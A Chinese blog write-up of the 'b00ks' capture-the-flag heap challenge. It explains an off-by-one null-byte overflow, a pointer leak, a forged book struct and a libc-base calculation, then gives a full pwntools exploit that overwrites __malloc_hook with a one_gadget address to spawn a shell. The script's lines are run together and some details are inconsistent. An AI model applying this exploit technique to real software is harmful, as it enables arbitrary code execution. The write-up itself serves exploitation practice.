off-by-one (b00ks)
创始人
2024-01-31 21:15:26

前言

个人简略记录,过程不详细

gdb开始调试

vmmap查看程序基地址为 0x555555400000


继续运行,输入auth

search hollk关键字,auth存放的地址可以找出为:0x555555602040 圈起来的是溢出的 \x00

创建两个books


因为图书的结构体指针存放在off_202010中,所以存放的地址为

0x555555400000 + 0x202010 = 0x555555602010

0x555555602010存放的是地址:0x0000555555602060 ,这里存放着两个book的地址

book1: 0x0000555555603770 book2:0x00005555556037a0


如果此时随便打印任意一个图书,当展示auth时,会将book1的地址(book1_addr)打印出来


book存储的结构如下

book_id
book_name
book_desc

得到book2的name与desc相对于book1_addr的偏移为:

book2_name - book1_addr = 0x559512b164a8 - 0x559512b16470 = 0x38
book2_desc - book1_addr = 0x559512b164b0 - 0x559512b16470 = 0x40

然后再次修改auth_name,会导致book1_addr由 0x0000559512b16470 变为 0x0000559512b16400 而改变后的地址在book1_desc中,即这种情况:

然后打印book2_name和book2_desc的地址

当申请的内存空间比较大时,空间将由mmap进行分配,而mmap分配的内存与libc的基地址存在一个固定的偏移,也就是说我们拿分配的地址-固定偏移量,就可以得到libc基地址

然后调试计算与libc基址的偏移,然后算 __malloc_hook 或者 __free_hook 和one_gadget

然后利用fake_book与book2向同一地址写入__malloc_hook 或者 __free_hook 与one_gadget获取shell

exp

from pwn import *
#from LibcSearcher import LibcSearcher
context(os='linux', arch='i386', log_level='debug')
context.terminal=['cmd.exe', '/c', 'start', 'wsl.exe']binary = ELF("b00ks")
libc = ELF("/root/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/libc-2.31.so")
r = process("./b00ks")def createbook(name_size, name, des_size, des):r.readuntil("> ")r.sendline("1")r.readuntil(": ")r.sendline(str(name_size))r.readuntil(": ")r.sendline(name)r.readuntil(": ")r.sendline(str(des_size))r.readuntil(": ")r.sendline(des)def printbook(id):r.readuntil("> ")r.sendline("4")r.readuntil(": ")for i in range(id):book_id = int(r.readline()[:-1])r.readuntil(": ")book_name = r.readline()[:-1]r.readuntil(": ")book_des = r.readline()[:-1]r.readuntil(": ")book_author = r.readline()[:-1]return book_id, book_name, book_des, book_authordef createname(name):r.readuntil("name: ")r.sendline(name)def changename(name):r.readuntil("> ")r.sendline("5")r.readuntil(": ")r.sendline(name)def editbook(book_id,new_des):r.readuntil("> ")r.sendline("3")r.readuntil(": ")r.writeline(str(book_id))r.readuntil(": ")r.sendline(new_des)def deletebook(book_id):r.readuntil("> ")r.sendline("2")r.readuntil(": ")r.sendline(str(book_id))createname("hollkaaabbbbbbbbccccccccdddddddd")createbook(216, "hollk_boo1", 160, "desc1")
createbook(0x21000, "hollk_boo2", 0x21000, "hollk_desc2")book_id_1, book_name, book_des, book_author = printbook(1)
book1_addr = u64(book_author[32:32+6].ljust(8,b'\x00'))
log.success("book1_address:" + hex(book1_addr))payload = b'b'*112 + p64(1) + p64(book1_addr + 0x38) + p64(book1_addr+0x40) + p64(0xffff)
editbook(book_id_1,payload)
changename("hollkaaabbbbbbbbccccccccdddddddd")book_id_1, book_name, book_des, book_author = printbook(1)
book2_name_addr = u64(book_name.ljust(8,b"\x00"))
book2_des_addr = u64(book_des.ljust(8,b"\x00"))
log.success("book2 name addr:" + hex(book2_name_addr))
log.success("book2 des addr:" + hex(book2_des_addr))libc_base = book2_name_addr + 0x21ff0
log.success("libc base:" + hex(libc_base))free_hook = libc_base + libc.symbols["__malloc_hook"]
one_gadget = libc_base + 0xe3b31 # 0xe3b31 、0xe3b34
log.success("free_hook:" + hex(free_hook))
log.success("one_gadget:" + hex(one_gadget))editbook(1, p64(free_hook))
editbook(2, p64(one_gadget))createbook(216, "hollk_boo1", 160, "desc1")
r.interactive()

参考

https://blog.csdn.net/qq_41202237/article/details/108116618

相关内容

热门资讯

应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
长白山自助游攻略 吉林长白山游... 昨天介绍了西坡的景点详细请看链接:一个人的旅行,据说能看到长白山天池全凭运气,您的运气如何?今日介绍...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
埃菲尔铁塔在哪 中国仿建埃菲尔... 2019年4月26日,广西南宁市,街头惊现一座巨型山寨版埃菲尔铁塔,高约20米,白色塔身,造型逼真,...
每逢佳节倍思亲的意思 每逢佳节... 朴素,是诗歌语言众多风格之一。所谓“朴素”,即通过简洁、准确的语言传达作者真挚、美好的情感。如李白的...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
应用未安装解决办法 平板应用未... ---IT小技术,每天Get一个小技能!一、前言描述苹果IPad2居然不能安装怎么办?与此IPad不...
脚上的穴位图 脚面经络图对应的... 人体穴位作用图解大全更清晰直观的标注了各个人体穴位的作用,包括头部穴位图、胸部穴位图、背部穴位图、胳...
世界上最漂亮的人 世界上最漂亮... 此前在某网上,选出了全球265万颜值姣好的女性。从这些数量庞大的女性群体中,人们投票选出了心目中最美...
猫咪吃了塑料袋怎么办 猫咪误食... 你知道吗?塑料袋放久了会长猫哦!要说猫咪对塑料袋的喜爱程度完完全全可以媲美纸箱家里只要一有塑料袋的响...
北京的名胜古迹 北京最著名的景... 北京从元代开始,逐渐走上帝国首都的道路,先是成为大辽朝五大首都之一的南京城,随着金灭辽,金代从海陵王...
苗族的传统节日 贵州苗族节日有... 【岜沙苗族芦笙节】岜沙,苗语叫“分送”,距从江县城7.5公里,是世界上最崇拜树木并以树为神的枪手部落...